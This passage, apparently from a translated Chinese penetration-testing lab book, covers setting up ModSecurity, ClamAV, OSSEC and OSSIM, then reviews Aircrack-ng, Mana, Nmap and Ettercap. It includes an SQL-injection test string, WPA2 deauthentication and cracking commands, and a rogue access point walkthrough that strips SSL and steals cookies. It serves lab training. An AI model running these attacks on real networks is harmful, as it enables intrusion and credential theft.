ModSecurity 可以作为入侵检测系统(IDS)或入侵防御系统(IPS)工作。在检测模式下,ModSecurity 只是记录被当前规则集判定为恶意的活动。在防御模式下,它可以实际阻止攻击。

模式设置(以及许多其他 ModSecurity 设置)可以在/etc/modsecurity/modsecurity.conf中更改。

对于初步的网络攻击训练,你可能不希望你的攻击被阻止,这时你可以将 ModSecurity 保持在 IDS 模式(检测模式),将SecRuleEngine选项设置为以下值:

**SecRuleEngine DetectionOnly**

这将允许你在没有 WAF 干扰的情况下进行各种攻击练习。同时,它还允许你通过查看日志来理解 WAF 如何与当前规则集一起工作。

当你想要练习高级攻击并使用 WAF 规避技巧时,可以通过将SecRuleEngine选项的值改为On,将 WAF 切换到防御模式:

**SecRuleEngine On**

另一个有趣的配置选项是针对 VM 资源有限的情况,SecResponseBodyAccess。此选项启用或禁用服务器响应体检查,在实验环境中除非有特定任务需求,否则并不太有意义。它还会消耗额外的处理资源,可能会稍微减慢服务器速度。我们的建议是暂时关闭响应体检查,只有在确实需要时再打开。默认情况下此功能是启用的:

**SecResponseBodyAccess On**

我们需要进行修改:

**SecResponseBodyAccess Off**

要使用 ModSecurity,它应该有规则集,依据这些规则它将检查请求(和/或响应)。ModSecurity 随附有一个预定义的规则集,称为核心规则集CRS)。你可以在/usr/share/modsecurity-crs/中找到它。要激活规则集,我们需要在 Apache 的配置文件/etc/apache2/mods-enabled/mod-security.conf中显式包含它们的目录,并在/usr/share/modsecurity-crs/activated_rules/中创建指向我们希望激活的规则的符号链接:

  1. 打开/etc/apache2/mods-enabled/security2.conf文件,在<IfModule security2_module> </IfModule>部分中加入以下内容:

    Include "/usr/share/modsecurity-crs/*.conf"
    Include "/usr/share/modsecurity-crs/activated_rules/*.conf"
    
  2. /usr/share/modsecurity-crs/activated_rules/中创建符号链接。进入该目录并执行以下命令:

    **ln –s ../base_rules/modsecurity_40_generic_attacks.data**
    **ln –s ../base_rules/modsecurity_crs_40_generic_attacks.conf**
    **ln –s ../base_rules/modsecurity_crs_41_xss_attacks.conf**
    **ln –s ../base_rules/modsecurity_crs_41_sql_injeciton_attacks.conf**
    
    
  3. 重新加载 Apache 服务以使更改生效:

    **sudo service apache2 reload**
    
    

现在配置阶段已经结束,我们需要检查 ModSecurity 是否正常工作并能检测到恶意请求。我们可以使用 DVWA 来进行测试。在另一台机器上打开浏览器,访问 http://10.0.0.5/dvwa/login.php。在用户名字段中输入明显的 SQL 注入模式,例如:

user' or 1=1 --

点击 登录 按钮或直接按 Enter 键。返回到 Web 服务器并检查 ModSecurity 日志的内容:

**sudo cat /var/log/apache2/modsec_audit.log**

日志中应该包含一条警告,表明请求匹配了 SQL 注入规则集中的模式:

Web 应用防火墙

ModSecurity 检测到 SQL 注入

注意

这只是一个示例,但我们强烈建议你超越这些示例,进行更多实验,调整 WAF 规则和其他 WAF,以提高你的渗透测试技能。

ClamAV

通过这种方式,我们已经保护了基于 Windows 操作系统的工作站免受病毒威胁。现在,是时候保护我们的 Linux 服务器和电子邮件服务免受恶意代码的侵害了。

为了建立多层防护,我们不仅要保护 Windows 平台的主机,还需要保护 Linux 服务器,以及传输和存储文件服务。因此,我们为所有进出邮件消息创建自动病毒扫描。

在此过程中,作为一种防病毒解决方案,我们选择 ClamAV。ClamAV 是一款运行在多种操作系统上的防病毒软件,包括类 Unix 操作系统、OpenVMS、Microsoft Windows 和 Apple Mac OS X。ClamAV 根据 GNU 通用公共许可证发布,是一款自由软件。

ClamAV 的主要目标是与电子邮件服务器集成,以验证附件中的文件。该软件包包括一个可扩展的多线程守护进程 clamd,由命令行扫描器 clamscan 控制,以及一个通过互联网更新的模块签名 freshclam。

ClamAV 的一些功能如下:

  • 命令行管理

  • 可以与大多数电子邮件服务器一起使用,包括通过 milter 接口与 Sendmail 配合使用

  • 扫描器以 C 库的形式实现

  • 即时扫描文件和电子邮件

  • 定义超过 85 万种病毒、蠕虫、木马和钓鱼信息

  • 支持压缩文件的分析

  • 支持扫描 mbox、Maildir 和原始邮件文件

  • 分析文件格式,如便携式可执行文件、打包的 UPX、FSG 和 Petite

安装

好的,我们从安装解决方案开始。要获取 ClamAV 分发包,请访问厂商网站 www.clamav.net/download.html。或者,像我们这种情况,你也可以使用操作系统的内建工具。由于我们使用的是 Ubuntu Linux 14.04.3 操作系统,我们只需以 root 用户身份在控制台中运行以下命令:

**apt-get clamav clamav-daemon**

如果你更倾向于使用普通用户,可以执行以下命令:

**sudo apt-get clamav clamav-daemon**

完成这些步骤后,我们将拥有一个可用的 ClamAV 实例。要启动或停止服务,你可以使用操作系统的内建工具。

配置

在下一步中,我们需要重新配置 ClamAV,以便 ClamAV 守护进程使用 TCP 连接而不是本地 Unix 套接字。为此,只需执行以下命令:

**dpkg-reconfigure clamav-base**

此命令将启动配置向导。让我们将所有答案保持默认值,除了以下内容:

  • 套接字类型(将其设置为 TCP,而不是 Unix

  • TCP 端口 clamd 将监听(你可以为接收消息设置自己的 TCP 端口地址,但我们建议将其保留为 3310

  • clamd 将监听的 IP 地址(在这里,我们应该设置所用网络接口的 IP 地址,但你也可以将其设置为任何)

你可以通过编辑配置文件 /etc/clamav/clamd.conf 来检查或确认 ClamAV 的配置。

配置重新设置完成后,我们需要重启 ClamAV 守护进程:

**/etc/init.d/clamav-daemon restart**

接下来,我们应该更新数据库。为此,我们需要执行以下命令:

**freshclam**

与邮件服务器的使用和集成

我们已经安装了防病毒解决方案并更新了数据库。现在,我们需要检查它是如何工作的。例如,要检查一个目录,运行以下命令:

**clamscan -r /**

此命令将检查整个文件系统,如果需要检查某个特定目录,指定该目录的名称即可。要检查可疑文件,只需输入 clamscan FILENAME。让我们用 EICAR欧洲计算机防病毒研究所)测试文件来检查我们的防病毒软件。该文件是一个标准文件,用于检查防病毒软件,它本身并不是病毒。你可以在 www.eicar.org/download/eicar.com.txt 获取此文件。

下一张截图显示了 ClamAV 的输出:

与邮件服务器的使用和集成

ClamAV 输出

接下来,我们需要检查开放的端口以连接第三方应用程序。执行以下命令即可:

**netstat -antp | grep clamd**
**tcp           0       0 0.0.0.0:3310        0.0.0.0:*        LISTEN       9917/clamd**
**tcp6          0       0 :::3310             :::0:*           LISTEN       9917/clamd**

确认其正常工作后,我们需要确保邮件服务器扫描所有消息以查找病毒。为此,请执行以下步骤:

  1. 运行 hMailServer 管理控制台并进入 设置 | 防病毒。在右侧面板中,进入 常规 选项卡,确定对感染的消息应该采取什么措施:与邮件服务器的使用和集成

    hMailServer 设置

  2. ClamAV 选项卡中,我们应该设置 ClamAV 服务器的连接选项:

    • 主机名 (10.0.0.107)

    • TCP/IP 端口 (3310)

  3. 要检查连接,请点击 测试… 按钮:与邮件服务器的使用和集成

    hMailServer 设置

现在,所有来自 lab.local 电子邮件帐户的流量都在 ClamAV 服务器上进行扫描。

OSSEC

我们已经为 Windows 主机设置了网络入侵检测系统和 HIPS。现在,让我们考虑另一种适用于 Linux 平台主机的选项。

OSSEC (ossec.github.io/) 是一个主机入侵检测系统(HIDS),它是免费且开源的。它对系统日志进行分析、完整性检查、监控 Windows 注册表、根工具检测,并在特定时间和事件发生时进行警报。它为大多数操作系统提供入侵检测功能,包括 Linux、BSD 类系统、Mac OS、Solaris 和 Windows。它的跨平台架构使得管理和监控多个操作系统变得容易。

OSSEC 由主应用程序(服务器)、代理和 Web 管理界面组成。

安装

好的,我们通过在我们的基础设施中安装 OSSEC 来开始。首先,我们需要满足一些要求。OSSEC 需要 gcclibc 和支持 php5apache。为此,我们应该执行以下命令:

**apt-get install build-essential**
**apt-get install apache2 apache2-utils libapache2-mod-php5**

接下来,我们需要获取 OSSEC。为此,我们应该执行以下命令:

**git clone https://github.com/ossec/ossec-hids**
**git clone https://github.com/ossec/ossec-wui**

现在我们有了安装包,接下来使用以下命令安装它们:

**cd ossec-hids/**
**./install.sh**

它启动了一个向导,向我们提出一些问题,我们需要回答。最重要的问题是关于安装类型的。在这里,我们应该创建两种不同的安装类型:代理和服务器。

接下来,安装 OSSEC 的 Web 部分。将 ossec-wui 目录移动到可以被 Web 服务器访问的文件夹中:

**mv ossec-wui* /var/www/htdocs/ossec-wui**

然后,执行安装脚本:

**cd /var/www/htdocs/ossec-wui**
**./setup.sh**

向导将启动,我们需要回答一些问题,如登录和密码,以便访问 OSSEC 的 Web 界面。

配置

OSSEC 将所有文件存储在 /var/ossec 目录下。我们打开 /var/ossec/ossec.conf 文件并根据需要进行配置。在这里,我们通过选择服务器地址、邮件地址以及每小时最大可能的消息数量来设置发送警报到电子邮件。

然后,有一块规则描述了 OSSEC 将如何以及对什么做出反应。

syscheck 部分设置了完整性检查。它的意义在于系统计算指定目录中每个文件的哈希值并定期检查它们。在这里,我们设置了要监控的目录以及检查的时间间隔。该部分描述了在某些条件下系统可以使用的命令脚本。

最后,我们设置需要分析的日志文件,并与规则进行比较。

现在,OSSEC 服务器的粗略设置完成,我们可以启动它:

**service ossec-hids start**

如果成功,你将收到一封电子邮件,邮件中包含启动时的消息。

完成后,我们需要将 Web 服务器的用户账户(www-data)添加到 OSSEC 组中。用编辑器打开 /etc/group 文件:

**nano /etc/group**

找到 ossec:x:1002 这一行,并将其修改为 ossec:x:1002:www-data

之后,我们需要为 OSSEC 实例的 tmp 目录设置权限并重启 Apache 服务。

**chmod 770 tmp/**
**chgrp www-data tmp/**
**apachectl restart**

现在我们可以使用以下链接访问 OSSEC Web 界面:http://localhost/ossec-wui/

连接 OSSEC 代理

让我们从相同的发行版安装一个 OSSEC 代理。在向导中选择代理模式。对于问题“OSSEC HIDS 服务器的 IP 地址或主机名是什么?”我们输入 OSSEC 服务器的 IP 地址。现在,我们需要将 OSSEC 代理与我们的服务器关联。为此,我们应该去服务器并启动与代理一起工作的管理器:

**/var/ossec/bin/manage_agents**

在交互模式下,我们需要执行以下步骤:

  1. 选择 A 添加代理(A)。

  2. 写下我们代理的名称。

  3. 指定我们代理的 IP 地址。

  4. 选择一个代理 ID。我们可以保留 OSSEC 提示的 ID。

  5. “确认添加吗?(Y / n)”选择 y

  6. 然后,选择 E 键来移除代理。

  7. 指定我们新代理的 ID。

  8. 复制 base64 字符串并按 Enter

  9. 从管理器中选择 Q 输出,以便与代理一起工作。

重启服务器以成功添加代理:

**/etc/init.d/ossec restart**

然后,我们进入我们的代理并进入与代理一起工作的管理器:

**/var/ossec/bin/manage_agents**

在交互模式下,我们需要执行以下步骤:

  1. 选择 I 键从服务器导入,添加我们复制的密钥。

  2. 插入密钥,添加代理并退出。

然后,我们可以运行我们的代理:

**/etc/init.d/ossec start**

应该会收到邮件通知,提示有新代理已连接。去服务器检查代理是否连接:

**/var/ossec/bin/agent_control -l**

在这里,我们将看到我们代理的列表,状态为 Active。此外,/var/ossec/logs/alerts.alerts.log 中应有类似的事件。

所以 OSSEC 代理已经连接。现在,我们可以在 web 界面中看到我们的代理。

注意

如果你想了解更多关于 OSSEC 的信息,可以访问官方文档:ossec.github.io/docs/

SIEM

SIEM (安全信息和事件管理) 是两个术语的结合,表示 安全信息管理 (SIM) 和 安全事件管理 (SEM) 的应用领域。SIEM 技术提供网络设备和应用程序产生的事件(警报)、安全的实时分析。

在我们的环境中,SIEM 解决方案使我们能够跟踪安全事件,并更好地关联模拟攻击者和安全专家的行动。

SIEM 领域的知识非常广泛,需要几本书来讲解。在本书中,我们将仅触及此主题并展示如何安装流行的免费解决方案 OSSIM。

OSSIM (开源安全信息管理) 是一个管理、控制和信息安全系统。开箱即用,OSSIM 包含以下功能:

  • 事件的收集、分析和关联—SIEM

  • 主机入侵检测系统 (HIDS)—OSSEC

  • 网络入侵 检测系统 (NIDS)—Suricata

  • 无线入侵 检测系统 (WIDS)—Kismet

  • 监控站点网络—Nagios

  • 网络异常分析—P0f、PADS、FProbe、Arpwatch 等

  • 漏洞扫描器—OpenVAS

  • 一个强大的用户间威胁信息交换系统 OSSIM—OTX

  • 超过 200 个插件,用于解析和关联来自各种外部设备和服务的日志

OSSIM 以 CD 的分发镜像形式分发,同时仅使用软件的 64 位版本。

可以从官方网站www.alienvault.com/products/ossim下载分发 ISO 镜像。

安装中

OSSIM 系统是通过安装镜像来安装的,该镜像包含一个完整的 Debian 系统以及所有必要的组件和模块。

系统要求一台具有多个处理器并至少有 3 GB RAM 的高性能机器。创建虚拟机并连接下载的 ISO 镜像后,我们可以启动虚拟机。

安装过程与安装 Debian 没有区别:只需将 OSSIM 镜像插入虚拟机的 DVD 驱动器,从中启动并按照安装指南进行操作。安装完成后,将出现一个控制台窗口。

让我们访问控制台中打印的链接并输入用户凭据。完成这些步骤后,OSSIM 的安装就完成了。

配置向导

所以,让我们配置 OSSIM。为此,输入前一步中指定的凭据。再次,我们将进入配置向导。

首先,我们需要配置网络接口,并设置安装了 OSSIM 的服务器的 IP 地址。

在下一个标签页,OSSIM 将自动扫描网络并提示我们指定找到的主机类型。

在下一步中,我们可以自动安装主机入侵检测系统(OSSIM 提供了 OSSEC)。让我们尝试在 Windows 主机上安装它。为此,我们需要选择主机名和凭据(例如,域管理员),然后点击部署

完成这些步骤后,OSSIM 将通过一条成功安装和配置的消息来祝贺我们。

配置 HIDS

要配置 HIDS,进入环境 | 检测 | HIDS | 代理,你将看到两个主机。第一个主机是 OSSIM 本身,第二个是我们通过在设置向导中点击部署 HIDS部署的 Windows Server。所以,进入HIDS 代理菜单。

在 Windows 主机上的代理安装是自动完成的,不需要额外的输入或任何信息。Linux 主机上的设置完全符合前面在OSSEC部分中描述的过程。

现在 HIDS 安装完成,所以进入环境 | 检测,你现在可以看到 OSSEC 的日志了。

总结

在本章中,我们向读者展示了如何通过安装和配置基于网络和主机的安全解决方案来保护实验室网络免受未经授权的访问和外部攻击。除了保护实验室网络外,我们还为实践绕过和规避安全机制以及评估其有效性等重要渗透测试主题做好了准备。

实验环境已经准备好进行实践,在下一章中,我们将简要概述各种渗透测试和安全评估框架及工具包,并提供一些它们在实验中的使用示例。

第六章:探索黑客工具包

正如你可能知道的那样,黑客和渗透测试人员在工作中不仅使用小型独立的工具,还经常使用(可能更常见的是)各种安全工具集和专为渗透测试构建的操作系统发行版,其中包含了所需的工具。

在本章中,我们将回顾工具包、框架和发行版,并提供它们在我们实验室环境中的应用示例,以帮助你熟悉这些工具,并帮助你选择希望深入学习的工具包,以应对你的任务。

在本章中,我们将涵盖以下主题:

  • 无线黑客工具

  • 基础设施黑客工具

  • 破解工具

  • Web 应用程序黑客工具

无线黑客工具

根据我们书中关于构建无线网络实验室的论述,我们将开始回顾渗透测试框架和工具包,首先讨论一个专门关于无线黑客的主题。

Aircrack-ng

当我们谈论 Wi-Fi 黑客的方式和工具时,首先浮现在我们脑海中的就是 Aircrack-ng(www.aircrack-ng.org)。尽管有一个独立的工具用于破解 WEP、WPA 和 WPA2 安全,但整个工具集被称为 Aircrack-ng,而破解工具只是其中之一。

我们不会夸大其词地说,Aircrack-ng 是我们最喜欢的,也是 Wi-Fi 渗透测试项目中必用的工具包,尽管我们并不总是使用其中包含的所有工具。

该工具包主要为 Linux 和命令行使用开发,尽管它也可以在 Windows 下使用,我们建议只在*nix类系统下使用,因为在 Windows 下有很多限制。

使用 Aircrack-ng 有三种方式:

  • 从源代码或包管理器在 Linux 主机上安装 Aircrack-ng,例如,在类似 Debian 的系统中(它已经预安装在像 Kali Linux 这样的渗透测试发行版中):

    **apt-get install airckrack-ng**
    
    
  • 从安装了 Aircrack-ng 的 Live CD 启动

  • 下载一个已安装 Aircrack-ng 的 VMware 虚拟机镜像

内容

以下列表展示了该框架的工具,并为你提供每个工具的简短描述:

  • Airbase-ng:此工具用于创建软件 AP 并攻击无线客户端。

  • Aircrack-ng:这实际上是用于 WEP 和 WPA/WPA2 密钥恢复的破解工具。

  • Airdecap-ng:此工具用于解密 WEP 和 WPA/WPA2 的无线流量。

  • Airdecloak-ng:此工具用于破解 WEP 隐身功能,这是 WEP 中用于欺骗破解工具的一种方法。

  • Aireplay-ng:此工具生成附加的无线流量,以便执行各种攻击类型。

  • Airmon-ng:此工具将无线接口切换到监视模式,从而允许低级别的无线流量操作。

  • Airodump-ng:此工具用于 802.11 监控和嗅探。

  • Airodump-ng-oui-update:顾名思义,该工具用于更新 Airodump-ng 的组织唯一标识符 (OUI) 数据库。

  • Airolib-ng:该工具用于维护一个本地的 ESSID、密码短语和预计算的 PMK 数据库,以便在破解时使用(这个思路与使用彩虹表类似)。

  • Airserv-ng:该工具允许多个应用通过 TCP 连接作为服务器访问 Wi-Fi 接口。

  • Airtun-ng:这是用于创建虚拟隧道接口的工具。

  • Besside-ng:这是一个自动化的 WEP 和 WPA 攻击工具,用于破解所有可接入的 WEP 保护网络,并记录所有可用的 WPA 握手。

  • Easside-ng:该工具允许我们在没有 WEP 密钥的情况下,通过 WEP 保护的 AP 进行通信。

  • Packetforge-ng:顾名思义,该工具用于创建伪造的无线数据包,以用于其他攻击。

  • Tkiptun-ng:根据官方文档,该工具非常有用:

    该工具能够向 WPA TKIP 网络中注入一些带有 QoS 的帧。

    但本书的作者尚未使用过该工具,且不确定它是否已发布或仍在开发中。

  • Wesside-ng:这是一个自动化的 WEP 攻击工具,用于破解所有可接入的 WEP 保护网络,无需用户交互。

注意

关于这些工具及其文档的详细描述,请参阅官方的 Aircrack-ng 网站 (www.aircrack-ng.org/)。

练习

让我们在 Linux 下使用 Aircrack-ng 进行一个简单的练习。作为示例,我们将破解一个 WPA2 密钥:

  1. 作为 Wi-Fi 渗透测试的第一步,我们需要将 Wi-Fi 接口切换到混杂监控模式,以便让系统“监听”所有 Wi-Fi 数据包,并允许它在低级接口上注入无线流量。假设我们的无线接口是wlan1,可以通过airmon-ng工具如下操作:

    **airmon-ng start wlan1**
    
    

    然后,我们可以看到接口已切换到监控模式的报告:

    练习

  2. 上述命令将无线接口切换到监控模式,并创建一个虚拟接口wlan1mon,我们将在接下来的步骤中使用它。你可以看到,airmon-ng会警告你某些进程可能会冲突,并提供这些进程的列表。如果你想快速终止所有这些进程,只需执行以下命令:

    **airmon-ng check kill**
    
    
  3. 现在,让我们监听无线信号,看看周围有什么并选择一个目标。可以使用airodump-ng工具,并以监控虚拟接口的名称作为参数来完成:

    **airodump-ng wlan1mon**
    
    

    让工具运行一段时间(5 分钟应该足够),然后你可以看到两个表格,它们会以实时模式更新。请查看下面的截图:

    练习

  4. 在第一个表格中,你可以看到我们的实验室 WLAN 和它们的安全类型,表格列出了可访问的 AP。所以,让我们攻击访客 WLAN,因为我们拥有这个网络,无需额外的权限就可以进行攻击。

  5. 我们需要获取一个 WPA 握手来破解它,而握手可以通过被动等待设备与 AP 建立连接时嗅探到。但是,为了扩展我们的示例并向你展示 aireplay-ng 工具的使用方法,我们将使用一种主动攻击,迫使已经连接到 WLAN 的设备断开连接并尝试重新连接。

  6. 要执行定向攻击,我们需要重新启动 airodump-ng,并添加更多参数以便只嗅探我们的访客 WLAN 的通信。这些参数包括目标 BSSID、目标 Wi-Fi 通道和捕获文件名。前两个参数的值来自第一次 airodump-ng 捕获的结果:

    **airodump-ng --bssid 68:B6:FC:15:27:18 --channel 11 --write guest_dump wlan1mon**
    
    

    在结果中,你将得到一个更加简洁的输出,显示只有目标 WLAN 的信息,如下图所示:

    Exercise

  7. airodump-ng 不在不同的频道之间跳转时,它能更好地检测已连接的客户端。我们需要选择一个与 AP 关联的设备,并使用 aireplay-ng 以 AP 身份(伪造)对其执行去身份认证攻击。让我们攻击上一截图中硬件地址为 C8:F7:33:0E:73:38 的客户端。打开一个新的终端窗口并执行以下命令:

    **aireplay-ng --deauth 5 -a 68:B6:FC:15:27:18 -c F8:A9:D0:65:50:B6 wlan1mon**
    
    

    在以下截图中,你可以看到 aireplay-ng 正在执行攻击,而 airodump-ng 捕获到一个正在尝试重新认证的客户端的 WPA 握手:

    Exercise

    或者,你也可以不那么温和地执行广播去身份认证攻击,对所有已连接的客户端进行攻击,命令如下:

    **aireplay-ng --deauth 5 -a 68:B6:FC:15:27:18 wlan1mon**
    
    
  8. 如果设备配置为自动重新连接到 WLAN,我们将能够捕获下一个 WPA 握手,并在 airodump-ng 终端的右上角看到相应的消息。

  9. 现在让我们创建一个简短的字典文件,并将我们的访客 WLAN PSK 添加到其中。

  10. 之后,只需启动 aircrack-ng 工具,并将转储文件和字典文件作为参数:

    **aircrack-ng guest_dump-01.cap -w wordlist.txt**
    
    

    破解时间可能会根据字典文件的大小而有所不同,但如果正确的 PSK 在字典中,它会被找到并显示给你,如下图所示:

    Exercise

到这时,你可以使用恢复的 PSK 连接到 WLAN,从而绕过 WLAN 的安全设置。

Mana

Mana 是另一个有趣的 Wi-Fi 渗透测试工具包,主要用于攻击无线客户端,而非无线网络。它可以通过恶意接入点执行中间人攻击,并通过虚假的互联网收集凭据。

Mana 是一个基于修改版 Hostapd 软件的 Linux 工具包(用于创建软件访问点),并包含以下启动脚本,用于在各种攻击模式下启动 Mana(描述来自原始的 README 文件):

  • start-nat-full.sh:这将启动 MANA,使用 NAT 模式(你需要一个上游连接),并包含所有的中间人攻击(MitM)功能。

  • start-nat-simple.sh:这将启动 MANA,在 NAT 模式下运行,但不包含任何 firelambsslstripsslsplit 等工具。

  • start-noupstream.sh:这将启动 MANA,在“假互联网”模式下运行。这对于那些人们打开了 Wi-Fi 但没有上游互联网的地方很有用。还包含了强制门户。

  • start-noupstream-eap.sh:这将启动 MANA,使用 EAP 攻击和 noupstream 模式。

Mana 工具包可以通过三种方式下载并安装:

  • 从 Git 仓库 github.com/sensepost/mana 下载(git clone + make install

  • 通过从 Mana 存档中启动 ubuntu-install.shkali-install.sh 脚本

  • 使用 apt-getapt-get install mana-toolkit

安装后,Mana 软件可以在 /usr/share/mana-toolkit/ 找到,其配置文件可以在 /etc/mana-toolkit/ 中找到。

练习

让我们使用 Mana 工具包设置一个恶意 AP,尝试嗅探客户端流量:

  1. 如果你还没有在你的 Linux 攻击者机器上安装 Mana 工具包,请进行安装。

  2. 将无线接口连接到攻击者机器,并使用 iwconfig 命令查找其名称:

    **iwconfig**
    
    

    从命令输出中,我们可以看到(在我们的例子中)是 wlan1

    **eth0      no wireless extensions.**
    **lo        no wireless extensions.**
    **wlan1     IEEE 802.11bgn  ESSID:off/any** 
     **Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm** 
     **Retry short limit:7   RTS thr=2347 B   Fragment thr:off**
     **Encryption key:off**
     **Power Management:on**
    
    

    现在,我们需要调整要使用的脚本和相应的配置文件。我们将使用 start-nat-full.sh。用编辑器打开脚本文件,并将 phy 参数的值更改为你的 Wi-Fi 接口名称(在我们的例子中是 wlan1)。

  3. 对应的配置文件名称可以在脚本开始处找到,它是 /etc/mana-toolkit/hostapd-karma.conf。你还需要检查参数 interfacedriver 的值是否与你的 Wi-Fi 接口相符。

  4. 现在,只需运行脚本,Mana 就会设置一个恶意 AP,并配置所有必要的工具,模拟一个提供免费互联网访问和记录客户端流量的 Wi-Fi 热点。

  5. 检查是否成功创建了 EvilAP。打开可用的无线网络,查看是否有 Internet(或者如果你在配置文件中更改了 SSID,查看是否有你的恶意 SSID):练习

  6. 连接到恶意 WLAN 并尝试访问各种网站。你应该能在终端看到受害者的连接数据和攻击详情:练习

  7. Mana 会自动尝试执行中间人攻击(MitM)以破解 SSL,并使用 sslstrip 工具强制通过 HTTP 而非 HTTPS 连接网页。你可以在 /var/lib/mana-toolkit/ 中找到收集的信息。

  8. Mana 还使用了 Firelamb 工具来捕获受害者的 cookies。你可以使用 /usr/share/mana-toolkit/run-mana/firelamb-view.sh 脚本查看所有捕获的 cookies。该工具甚至会为你用拦截到的 cookies 打开浏览器会话:练习

基础设施黑客工具

基础设施黑客攻击是一个非常广泛的话题,包括了许多子话题,每个子话题都可以被区分为一个独立的巨大安全领域。因此,针对各种任务和场景,有许多黑客工具集、框架和软件包,要描述它们所有的话,需要一本完整的书。为了简洁起见,我们将只回顾可能最流行、最免费且最著名的黑客工具和框架——Metasploit 框架(也叫 MSF),它由公司 Rapid7 维护。

Nmap

Nmap 是黑客和渗透测试者最常用的网络安全工具(也是我们最喜欢的工具)。这是一个用于发现和枚举可用主机、开放端口和网络服务等的优秀工具。它可用于安全检查,确定主机上运行的服务,识别操作系统和应用程序,甚至识别扫描节点上使用的防火墙类型。

Nmap 的源代码和二进制文件可以在官方网站上获取(nmap.org/download.html)。也有 Windows 版本。如果你使用的是 Linux,可以在大多数发行版的仓库中找到 Nmap 包。例如,在 Debian Linux 中,你可以在控制台中输入以下命令:

**apt-get install nmap**

几秒钟后,你的系统上就会有一个可用的二进制文件。

Nmap 是一个控制台应用程序,但在讨论如何在控制台中使用它之前,应该注意 Nmap 有一个 GUI 界面,你可以用它来输入命令并运行扫描任务。这个界面叫做 Zenmap。Zenmap 允许你选择目标,运行扫描任务,显示结果,保存结果,并与其他人比较结果。

GUI Zenmap 是熟悉 Nmap 的一个好方法,但如果你打算高效地使用 Nmap,最好还是学会如何在控制台中使用命令行参数。

Nmap 命令行的语法如下:

nmap [扫描类型] [选项] {目标规格}

术语的定义如下:

  • 扫描类型:这是一种扫描技术。它可以是简单的 ping 扫描(-sn)、TCP ACK 扫描(-sS)、UDP 扫描(-sU)、特殊的 Xmas 扫描(-sX)或 TCP Null 扫描(-sN),用于尝试绕过防火墙。Nmap 不仅限于这些技术,还有其他方法。你可以通过执行 Nmap 帮助命令获取完整的列表:

    **nmap -h**
    
    
  • 选项:这是一组扫描参数。Nmap 选项的完整描述超过 100 页。因此,我们这里只提供几个示例:

    • 扫描的端口(-p

    • 探测开放端口以确定服务/版本信息(-sV

    • 是否解析目标主机的 DNS 名称

    • 启用操作系统检测(-O

    • 防火墙/IDS 绕过和欺骗技术

    • 输出参数(Nmap 有三种基本输出格式:普通、XML 和可抓取格式;这提供了更大的结果处理自由度)

  • target specification:这是我们设置目标的参数。用户可以通过将目标地址作为执行命令的参数或作为文件(使用选项-iL)来设置目标地址,其中每一行是一个主机地址。

大多数选项可以彼此结合使用。有些选项用于选择扫描方法,而其他选项则用于使用额外的功能或调整扫描的各种设置。Nmap 会警告用户关于选项组合无效的情况。如前所述,要快速概览所有选项,您应当使用-h参数运行 Nmap。

关于选项的详细列表,您可以参考 Nmap 的主页(nmap.org/book/man-briefoptions.html),或在 Linux 上使用man命令:

**man nmap**

Nmap 是一个非常强大的工具,可以提供大量信息,如目标主机上运行的操作系统、开放端口、设备的 MAC 地址等,具体取决于扫描选项和目标本身。

脚本引擎

在完成对这个伟大软件的回顾后,我们将探讨为什么许多专家称 Nmap 为瑞士军刀。Nmap 脚本引擎NSE)是通过使用 LUA 语言编写附加功能来增强 Nmap 的决策结果。

要使用脚本,需要使用--script键,并将脚本名称作为参数(--script=<script name>)

目前,Nmap 分发包中包含了种类繁多的现成脚本,可用于以下目的:

  • 信息收集

  • 深入的主机和网络服务发现

  • 身份验证过程检查

  • 暴力攻击,如密码猜测

  • DoS 攻击

  • 漏洞识别

  • 漏洞利用

可用脚本和描述的完整列表可以在nmap.org/nsedoc找到。

如果标准包中没有您所需的功能,您可以编写自己的脚本以满足您的需求。

示例

现在,我们想向您展示 Nmap 的强大功能。为了演示,我们将扫描用户网络段中的一台 Windows 7 机器。该机器安装了 MS SQL Express 和 MS IIS7.5 服务器,且其 Windows 防火墙已关闭。为此,我们执行以下命令:

**nmap -sS -sV -O -sC -T4 --traceroute 172.16.0.102**

在这里,我们使用:

  • -sS:用于 TCP Syn 扫描

  • -sV:用于确定开放端口的网络服务版本(这是一个非常“嘈杂”的选项)

  • -O:用于检测操作系统版本

  • -sC:这等同于--script=default,即所有默认类别的脚本

  • -T4:用于设置快速时间模板

  • 172.16.0.102:这是我们目标的 IP 地址

几分钟后,我们将得到以下结果:

示例

正如你所见,输出结果足够详细且清晰。

注意

Nmap 的作者 戈登·"费奥多"·莱昂 写了《Nmap 网络扫描:Nmap 项目官方网络发现与安全扫描指南》,Nmap 项目。如果你想充分发挥 Nmap 的威力,我们强烈建议你阅读这本书。它在亚马逊上有售(www.amazon.com/dp/0979958717?tag=secbks-20)。

Ettercap

在黑客攻击网络基础设施的过程中,中间人MitM)类型的攻击经常被使用。这类攻击通常既容易执行,又容易被识别,因为它们由于生成大量的辅助流量而显得非常“嘈杂”。但因此,你可以获得大量有用的信息,并且能够控制受害者。

有很多工具可以执行中间人攻击。对于 Microsoft Windows 家族的操作系统,最流行的工具是 Cain(www.oxid.it/cain.html)和 Intercepter-NG(sniff.su/)。它们都有简单的图形用户界面和丰富的功能。执行攻击只需几次鼠标点击。另一个值得一提的类似工具是跨平台工具 Bettercap(www.bettercap.org/)。

作为一种经典的工具,也是我们最喜爱的中间人攻击(尤其是 ARP 欺骗)工具之一,我们将回顾 Ettercap(ettercap.github.io/ettercap/)。

Ettercap 是一款用于分析网络安全的工具,具有各种功能,例如监听网络流量、内容过滤等,适用于网络和主机分析。

Ettercap 支持不同的协议(Telnet、FTP、POP3、IMAP、SMB、HTTP 等),可以用于:

  • 操作系统指纹识别

  • 重置网络连接

  • 根据一组参数过滤网络流量

  • 执行各种协议的欺骗攻击,如 DNS

可能性的完整列表要大得多。Ettercap 拥有许多功能,并且由于大量插件的支持而不断扩展。

在攻击结果中,获取到的数据可以在线查看(例如,如果网络流量中有密码,它们会立即显示出来),也可以保存到文件中。

Ettercap 的安装包可以在官方网站上找到(ettercap.github.io/ettercap/downloads.html),你可以在这里下载它。

Ettercap 是一款 Linux 软件,因此它提供了一个便捷的控制台管理界面,具备所有相关功能。但它也有图形用户界面。要在图形模式下运行,你需要使用-G键启动 Ettercap。

Ettercap

所以,让我们来尝试一下 Ettercap。

练习

现在让我们尝试在几种模式下启动 Ettercap,看看它是什么样子的:

